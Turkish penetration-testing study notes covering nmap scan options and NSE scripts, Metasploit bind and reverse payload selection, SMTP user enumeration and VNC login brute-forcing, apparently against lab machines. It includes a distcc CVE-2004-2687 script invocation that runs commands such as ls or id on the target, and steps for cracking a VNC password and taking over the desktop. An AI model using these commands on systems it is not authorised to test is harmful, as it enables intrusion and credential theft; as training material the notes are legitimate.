Sızma Testleri-II

nmap detayları

- `nmap 10.0.2.17(ip) -sT` komutu ile tcp'ler taranır.
- `nmap 10.0.2.17(ip) -sU` komutu ile udp'ler taranır.tcp taramasına göre daha uzun sürer bu yüzden komuta -T5 gibi eklemeler de yapılabilir.
- **-T0** ile yapılan aramalara **paranoyak arama** denir.Bu aramalar çok yavaştır,fark edilmesi çok zordur.
- -**T5** ile yapılan aramalar ise en hızlı aramalardır,kolay fark edilir.
- **T4** ve **T5** taramaları *ağ içi taramalarda* önerilir.
- **T3** *normal hızda* yapılan aramadır.
- **-O** komuta da eklenirse bize *işletim sistemini* de bulmaya çalışır.(nmap 10.0.2.17 -sU -O -T4)
- **-sV** komutuyla versiyonlar da taratılabilir.(nmap 10.0.2.17 -sU -O -sV -T4)
- **-A** komutuyla ise daha da detaylı bir görüntüleme olur,*agresif tarama* yapar. (nmap 10.0.2.17 -A -T4)
- **-p-** ile *tüm portlar* taranır.(nmap 10.0.2.17 -p- -T5)
- **-p** ile belli bir port taratılabilir.(nmap 10.0.2.17 -p 3632 -sV)

Script Çalıştırmak

- `nmap 10.0.2.17 —script http-enum.nse` komutu ile enum komutu çalıştırılabilir.

  `nmap <hedef ip> —script <script adress>`

- nmap'in kendi sitesinden scriptler bulunabilir.

- Portlar yine taranır ancak ilgili script'in sağladığı işlevle daha detaylı detaylara da ulaşılabilir.(Site içeriği vs gibi.)
- `nmap 10.0.2.17 -sC -T5` komutuyla portlardaki ilgili scriptleri bulup çalıştırır.
- `nmap 10.0.2.17 —script http-sql-injection.nse` `-oN` nmapresult.txt komutuyla sonuçlar bir dosyaya kaydedilir.**-oN** komutu bunu sağlar.
- `nmap -p 3632 10.0.2.17 —script distcc-cve2004-2687 —script-agrs="distcc-cve2004-2687.cmd='ls'"` komutu ile scripte argüman vererek çalıştırabilir.(ls yerine pwd,id gibi komutlar kullanılabilir.)

---

no payload&set payload

- *Metasploit* kullanırken eğer **no payload** hatası alınırsa payload ayarlaması yapılabilir.
- `show payloads` ile payloadlar görüntülenebilir.
- **bind** uzantılılar bizden karşı tarafa istek gönderir.Bu yüzden eğer firewall varsa fark edip engellenebilir.(Son çare olarak payload bind ayarlanmalı.)
- **reverse** uzantılı olanlar ise karşı tarafı kullanarak yapılır.Tek tek set payload .. yapılabilir.
- Örneğin `set payload 5` komutu ile reverse everse uzantısı kullanılabilir.

SMTP

> Mail servisidir.

- apt install smtp-user-enum komutuyla terminalden indirilebilir.
- smtp-user-enum ile genel kullanılabilir.
- Örneğin smtp-user-enum -M VRFY -U /usr/share/wordlists/fern-wifi/common.txt -t 10.0.0.1 komutuyla doğrulama yapılabilir.(Farklı txt dosyaları da çalıştırılabilir.)

VNC

- msfconsole'dan search vnc ile tüm modüller bulunabilir.
- use auxiliary/scanner/vnc/vnc_login modülü örnek olarak çalıştırılabilir.
- show options ile modül ayarlarına bakılır.
- Sonrasında set RHOSTS 10.0.2.17(ip) ile rhost ayarlanıp exploit komutuyla çalıştırılabilir.
- vncviewer 10.0.2.17 komutuyla ayrı bir ekranda hacklediğimiz sistemi kullanabiliriz.
- Burada sorulan şifre modül ile öğrendiğimiz şifredir.

🖋Ömer Faruk Baysal